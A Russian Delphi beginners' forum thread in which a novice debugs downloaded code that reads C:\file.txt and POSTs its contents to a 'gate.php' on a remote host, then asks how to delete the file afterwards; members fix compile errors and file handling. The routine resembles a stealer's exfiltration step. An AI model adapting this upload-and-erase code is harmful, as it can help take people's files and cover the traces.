Модераторы: Snowy, MetalFan, bems, Poseidon

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Нужна помощь! 
:(
    Опции темы
xlocked
Дата 22.1.2009, 15:43 (ссылка) | (голосов:4) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Скачал с инета сорцы проги которая закачивает файл с компа на хост, вот код:
Код

procedure SendFile;
var Site : PChar;
   sock : TSocket;
   HostEnt : PHostEnt;
   WSA : TWSAData;
   addr : sockaddr_in;
   sendbuff : String;
   PostData : String;
   count : Integer;
   fName:String[80];
   buf:String[80];
   f: TextFile;
begin
fName:='С:\file.txt';             //Файл, который нкжно отправить
AssignFile(f, fName);
{$I-}
Reset(f);
{$I+}
if IOResult <> 0 then
begin
MessageDlg('Error'+ fName, mtError,[mbOk],0);
exit;
end;
while not EOF(f) do
begin
readln(f,buf);
if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := 'server7.890m.com';              //ваш хост
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
Connect(sock, addr, SizeOf(addr));
       PostData := '';
       PostData := 'file=' + buf;
       sendbuff := '';
       sendbuff := 'POST http://**********/gate/gate.php HTTP/1.1' + #13#10 +     //Полный путь к гейту
                   'Host: www.********.com' + #13#10 +                                            //Ваш хост
                   'Referer: http://*******/gate/gate.php' + #13#10 +
                   'Connection: Keep-Alive, TE' + #13#10 +
                   'Content-Type: application/x-www-form-urlencoded' + #13#10 +
                   'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData;
       send(sock, sendbuff [1], Length(sendbuff), 0);
       CloseSocket(sock);
     end;

Делфи выдает:
Error Tsocket
 Error PhostEnt
 Error TWSAData
Подскажите что в этом коде неправильно?


M
Alexeis		Модератор: Название темы должно отражать ее суть!
PM MAIL   Вверх
Qu1nt
Дата 22.1.2009, 17:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 602
Регистрация: 13.1.2007

Репутация: 22
Всего: 50
Код

uses
  WinSock;
PM MAIL   Вверх
xlocked
Дата 22.1.2009, 18:50 (ссылка) | (голосов:3) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Теперь пишет "Expected END but VAR found" Что означает VAR?
PM MAIL   Вверх
CompWorm
Дата 22.1.2009, 18:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Допеределыватель
***


Профиль
Группа: Участник Клуба
Сообщений: 1689
Регистрация: 6.12.2004
Где: /

Репутация: 2
Всего: 31
ведать ты код Qu1nt, нетуда написал))))

Цитата(xlocked @  22.1.2009,  18:50 Найти цитируемый пост)
Теперь пишет "Expected END but VAR found" Что означает VAR? 

в какой строке ошибка? в семнадцатой?


--------------------
user posted image

>>> Indie Games Club! <<<
PM MAIL   Вверх
xlocked
Дата 22.1.2009, 19:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Да, ошибка в строке 17, а WinSock записал сюда:
Код

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  WinSock;
PM MAIL   Вверх
Данкинг
Дата 22.1.2009, 20:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
Цитата(xlocked @  22.1.2009,  18:50 Найти цитируемый пост)
Что означает VAR? 

VAR означает начало секции объявления переменных. smile 


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
THandle
Дата 22.1.2009, 22:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 50
Всего: 372
xlocked, покажи весь код в конце концов. В первом посте видно только одну процедуру, а судя по всему это оконное приложение.
Показывай.
PM   Вверх
xlocked
Дата 23.1.2009, 13:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Цитата(THandle @  22.1.2009,  22:17 Найти цитируемый пост)
xlocked, покажи весь код в конце концов. В первом посте видно только одну процедуру, а судя по всему это оконное приложение.Показывай.

Я взял этот код с этого сайта --->ссыль
Но на том сайте Топикпастеру вроде бы нужен был неоконное приложение. Будте добры помогите разобраться с этим кодом
PM MAIL   Вверх
Данкинг
Дата 23.1.2009, 14:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
Цитата(xlocked @  23.1.2009,  13:38 Найти цитируемый пост)
Я взял этот код с этого сайта 

У тебя в коде на три begin'а один end. smile 


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
bems
Дата 23.1.2009, 22:12 (ссылка) | (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 18
Всего: 88
Цитата(xlocked @  23.1.2009,  13:38 Найти цитируемый пост)
Топикпастеру вроде бы нужен был неоконное приложение.

Топикстартера знаю, копипастера знаю. Топикпастера - не знаю


--------------------
Обижено школьников: 8
PM MAIL   Вверх
xlocked
Дата 25.1.2009, 18:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Код

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  WinSock;

procedure SendFile;
var Site : PChar;
   sock : TSocket;
   HostEnt : PHostEnt;
   WSA : TWSAData;
   addr : sockaddr_in;
   sendbuff : String;
   PostData : String;
   count : Integer;
   fName:String[80];
   buf:String[80];
   f: TextFile;
begin
fName:='С:\file.txt';             //Файл, который нкжно отправить
AssignFile(f, fName);
{$I-}
Reset(f);
{$I+}
if IOResult <> 0 then
begin
MessageDlg('Error'+ fName, mtError,[mbOk],0);
exit;
end;
while not EOF(f) do
begin
readln(f,buf);
if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := 'server7.890m.com';              //ваш хост
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
Connect(sock, addr, SizeOf(addr));
       PostData := '';
       PostData := 'file=' + buf;
       sendbuff := '';
       sendbuff := 'POST http://**********/gate/gate.php HTTP/1.1' + #13#10 +     //Полный путь к гейту
                   'Host: www.********.com' + #13#10 +                                            //Ваш хост
                   'Referer: http://*******/gate/gate.php' + #13#10 +
                   'Connection: Keep-Alive, TE' + #13#10 +
                   'Content-Type: application/x-www-form-urlencoded' + #13#10 +
                   'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData;
       send(sock, sendbuff [1], Length(sendbuff), 0);
       CloseSocket(sock);
     end;
end;
end.

вот исправленный код. Но всеравно непашет. :( 
Создаю новую форму, кидаю код и компилю, появляется файл.ехе, запускаю появляется окно проги и никаких движений, даже в инет не проситься. 
Кто может подсказать в чем ошибка?
PM MAIL   Вверх
Samhein
Дата 25.1.2009, 18:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Башзэфашовец
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 27.6.2005

Репутация: нет
Всего: 3
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.
Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек).


--------------------
Знаю форум наизусть, но писать еще боюсь
PM   Вверх
xlocked
Дата 25.1.2009, 18:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Цитата(Samhein @  25.1.2009,  18:27 Найти цитируемый пост)
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек).

Samhein
Спасибо, получилось, только вот пишет что файл ненайден, хотя он на диске С:
PM MAIL   Вверх
Samhein
Дата 25.1.2009, 19:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Башзэфашовец
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 27.6.2005

Репутация: нет
Всего: 3
Проверь имя файла.


--------------------
Знаю форум наизусть, но писать еще боюсь
PM   Вверх
Данкинг
Дата 25.1.2009, 19:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
Цитата(Samhein @  25.1.2009,  18:27 Найти цитируемый пост)
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.
Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек). 

 smile  smile  smile 
smile 
А перед этим ещё нужно включить компьютер, подождать загрузки винды, опосля чего кликнуть мышкой на ярлыке запуска "Delphi". smile  smile 


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
xlocked
Дата 25.1.2009, 19:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Имя файла правильное, и серавно ненаходит.
А вот если  
Код

fName:='С:\file.txt';

поменять на
Код

fName:='file.txt';
 и файл кинуть в корень диска где файл лежит, то все норм отправляет )
Но мне надо чтоб 1 способ работал.
PM MAIL   Вверх
Данкинг
Дата 25.1.2009, 19:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
На какой строке ошибка вылезает? На AssignFile ??


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
Delph1n
Дата 25.1.2009, 19:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 14.12.2008

Репутация: нет
Всего: нет
У меня тоже не пашет. При компиляции никакой ошибки, все ровно, но файл file.txt не находит. Как тут быть?
PM MAIL   Вверх
xlocked
Дата 25.1.2009, 19:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Цитата(Данкинг @  25.1.2009,  19:29 Найти цитируемый пост)
На какой строке ошибка вылезает? На AssignFile ??

Ошибок при компиляции никаких не выдает, а когда файл запускаешь и нажимаешь на кнопку то пишет ErrorC:\file.txt

Это сообщение отредактировал(а) xlocked - 25.1.2009, 19:51
PM MAIL   Вверх
Данкинг
Дата 25.1.2009, 19:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
xlocked, до while not EOF(f) do.... программа доходит? Какой полный текст ошибки?


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
xlocked
Дата 25.1.2009, 20:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Цитата(Данкинг @  25.1.2009,  19:55 Найти цитируемый пост)
xlocked, до while not EOF(f) do.... программа доходит? Какой полный текст ошибки?

Полный код ошибки я написал. Я понял в чем причина была, из-за того что файл был пустой, как только я в файл скопировал небольшой текст и сохранил, то файл успешно записался на хост smile 
Я так понял что он не сам файл отправляет, а его содержимое?
И еще такой вопросик, как после успешной отправки удалить файл?
Код знаю (DeleteFile('c:\file.txt')) а как привязать незнаю.

Это сообщение отредактировал(а) xlocked - 25.1.2009, 20:15
PM MAIL   Вверх
Данкинг
Дата 25.1.2009, 20:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
Цитата(xlocked @  25.1.2009,  20:14 Найти цитируемый пост)
Я так понял что он не сам файл отправляет, а его содержимое?

Судя по коду - да.

Цитата(xlocked @  25.1.2009,  20:14 Найти цитируемый пост)
Код знаю (DeleteFile('c:\file.txt')) а как привязать незнаю.

Что куда привязать? Так и пиши.


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
xlocked
Дата 25.1.2009, 20:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Цитата(Данкинг @  25.1.2009,  20:27 Найти цитируемый пост)
Что куда привязать? Так и пиши.

Мне нужно чтобы после отправки file.txt на хост, file.txt удалялся с компьютера.

Это сообщение отредактировал(а) xlocked - 25.1.2009, 21:00
PM MAIL   Вверх
Ийон
Дата 26.1.2009, 07:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 5
Регистрация: 26.1.2009

Репутация: нет
Всего: нет
xlocked

Просто допиши в конец процедуры.
PM MAIL   Вверх
xlocked
Дата 26.1.2009, 18:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Вот в конце кода добавлял
Код

var
   fileName : string;
   myFile : TextFile;
   data : string;

begin

   fileName := 'C:\file.txt';
   AssignFile(myFile, fileName);

  DeleteFile(fileName);

При запуске проги файл даже удаляется. Подскажите как сделать чтоб при нажатии кнопки файл (file.txt) отправлялся на хост а потом удалялся?

Это сообщение отредактировал(а) xlocked - 26.1.2009, 18:28
PM MAIL   Вверх
Poseidon
Дата 26.1.2009, 19:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Delphi developer
****


Профиль
Группа: Комодератор
Сообщений: 5273
Регистрация: 4.2.2005
Где: Гомель, Беларусь

Репутация: 9
Всего: 133
xlocked, 
Цитата(Ийон @  26.1.2009,  07:57 Найти цитируемый пост)
допиши в конец процедуры.




--------------------
Если хочешь, что бы что-то работало - используй написанное, 
если хочешь что-то понять - пиши сам...
PM MAIL ICQ   Вверх
Данкинг
Дата 26.1.2009, 20:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
 smile 
xlocked, почитай "Библию Дельфи", дабы иметь представления о Дельфи и о программировании в целом. И книжку по основам Паскаля тоже не мешало бы осилить.

Это сообщение отредактировал(а) Данкинг - 26.1.2009, 20:00


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
xlocked
Дата 31.1.2009, 06:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Дописывал я в конце процедуры
Код

DeleteFile('c:\file.txt')

и вот так пробовал
Код

fileName := 'C:\file.txt';
   AssignFile(myFile, fileName);
  DeleteFile(fileName);

Но всеравно файл неудаляется, а на хост файл уходит.

barshol, 
Ты создал бы отдельный топик.
PM MAIL   Вверх
Данкинг
Дата 31.1.2009, 12:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
barshol, конечно, в рамках топика "нужна помощь" твой пост оффтопиком не является, но плюсанул его (пост) я случайно, я "минус" хотел нажать. smile 

Цитата(xlocked @  31.1.2009,  06:53 Найти цитируемый пост)
Дописывал я в конце процедуры

Вот так и нужно. Почему не удаляется - не знаю, проверь доступ к файлу, может, он открыт чем-нибудь.

Цитата(xlocked @  31.1.2009,  06:53 Найти цитируемый пост)
и вот так пробовал

Это заведомая ерунда.


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
~FoX~
Дата 3.2.2009, 13:11 (ссылка) | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


НЕ рыжий!!!
****


Профиль
Группа: Участник Клуба
Сообщений: 2819
Регистрация: 8.10.2003
Где: Зеленоград

Репутация: 5
Всего: 68
Цитата(Данкинг @  31.1.2009,  13:03 Найти цитируемый пост)
Вот так и нужно. Почему не удаляется - не знаю, проверь доступ к файлу, может, он открыт чем-нибудь.

Им же и открыт  smile 

А кто  CloseFile(F); делать будет???


Код

fileName := 'C:\file.txt';
   AssignFile(myFile, fileName);
//тварим чти нить с файлом
  CloseFile(fileName); 
  DeleteFile(fileName);




Это сообщение отредактировал(а) ~FoX~ - 3.2.2009, 13:12


--------------------
user posted image
…множественность никогда не следует полагать без необходимости…
PM MAIL WWW ICQ Jabber   Вверх
Страницы: (2) [Все] 1 2 
 Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Для новичков"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.
 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Для новичков | Следующая тема »

Подписаться на тему | Подписка на этот форум | Скачать/Распечатать тему


 




[ Время генерации скрипта: 0.1182 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
 По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.